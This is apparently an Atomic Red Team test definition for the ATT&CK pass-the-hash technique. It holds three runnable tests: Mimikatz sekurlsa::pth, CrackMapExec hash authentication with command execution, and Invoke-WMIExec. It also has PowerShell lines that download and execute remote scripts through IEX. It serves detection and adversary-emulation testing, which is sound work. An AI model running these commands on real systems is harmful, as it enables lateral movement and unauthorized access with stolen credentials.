# T1550.002 - Use Alternate Authentication Material: Pass the Hash

## Description from ATT&CK

> Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.
> 
> When performing PtH, valid password hashes for the account being used are captured using a [Credential Access](https://attack.mitre.org/tactics/TA0006) technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.
> 
> Adversaries may also use stolen password hashes to "overpass the hash." Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) attacks.(Citation: Stealthbits Overpass-the-Hash)

[Source](https://attack.mitre.org/techniques/T1550/002)

## Atomic Tests

- [Atomic Test #1: Mimikatz Pass the Hash](#atomic-test-1-mimikatz-pass-the-hash)
- [Atomic Test #2: crackmapexec Pass the Hash](#atomic-test-2-crackmapexec-pass-the-hash)
- [Atomic Test #3: Invoke-WMIExec Pass the Hash](#atomic-test-3-invoke-wmiexec-pass-the-hash)

### Atomic Test #1: Mimikatz Pass the Hash

Note: must dump hashes first
[Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth)

**Supported Platforms:** Windows

**auto_generated_guid:** `ec23cef9-27d9-46e4-a68d-6f75f7b86908`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| user_name | username | string | Administrator|
| ntlm | ntlm hash | string | cc36cf7a8514893efccd3324464tkg1a|
| domain | domain | string | %userdnsdomain%|
| mimikatz_path | mimikatz windows executable | path | %tmp%&#92;mimikatz&#92;x64&#92;mimikatz.exe|

#### Attack Commands: Run with `command_prompt`!

```cmd
#{mimikatz_path} "sekurlsa::pth /user:#{user_name} /domain:#{domain} /ntlm:#{ntlm}"
```


#### Dependencies: Run with `powershell`!

##### Description: Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})

###### Check Prereq Commands

```powershell
$mimikatz_path = cmd /c echo #{mimikatz_path}
if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing) 
$releases = "https://api.github.com/repos/gentilkiwi/mimikatz/releases"
$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(".zip") }
$mimikatz_exe = cmd /c echo #{mimikatz_path}
$basePath = Split-Path $mimikatz_exe | Split-Path
Invoke-FetchFromZip $zipUrl "x64/mimikatz.exe" $basePath
```

### Atomic Test #2: crackmapexec Pass the Hash

command execute with crackmapexec

**Supported Platforms:** Windows

**auto_generated_guid:** `eb05b028-16c8-4ad8-adea-6f5b219da9a9`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| user_name | username | string | Administrator|
| crackmapexec_exe | crackmapexec windows executable | path | C:&#92;CrackMapExecWin&#92;crackmapexec.exe|
| command | command to execute | string | whoami|
| ntlm | command | string | cc36cf7a8514893efccd3324464tkg1a|
| domain | domain | string | %userdnsdomain%|

#### Attack Commands: Run with `command_prompt`!

```cmd
#{crackmapexec_exe} #{domain} -u #{user_name} -H #{ntlm} -x #{command}
```


#### Dependencies: Run with `powershell`!

##### Description: CrackMapExec executor must exist on disk at specified location (#{crackmapexec_exe})

###### Check Prereq Commands

```powershell
if(Test-Path #{crackmapexec_exe}) {exit 0} else {exit 1}
```

###### Get Prereq Commands

```powershell
Write-Host Automated installer not implemented yet, please install crackmapexec manually at this location: #{crackmapexec_exe}
```

### Atomic Test #3: Invoke-WMIExec Pass the Hash

Use Invoke-WMIExec to Pass the Hash
Note: must dump hashes first
[Reference](https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa#pth)

**Supported Platforms:** Windows

**auto_generated_guid:** `f8757545-b00a-4e4e-8cfb-8cfb961ee713`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| ntlm | ntlm hash | string | cc36cf7a8514893efccd3324464tkg1a|
| user_name | username | string | Administrator|
| command | Command to run on target system | string | hostname|
| target | System to run command on | string | $env:COMPUTERNAME|

#### Attack Commands: Run with `powershell`!

```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/01ee90f934313acc7d[PII_REDACTED]3c18694ed0eb/Invoke-WMIExec.ps1' -UseBasicParsing);Invoke-WMIExec -Target #{target} -Username #{user_name} -Hash #{ntlm} -Command #{command}
```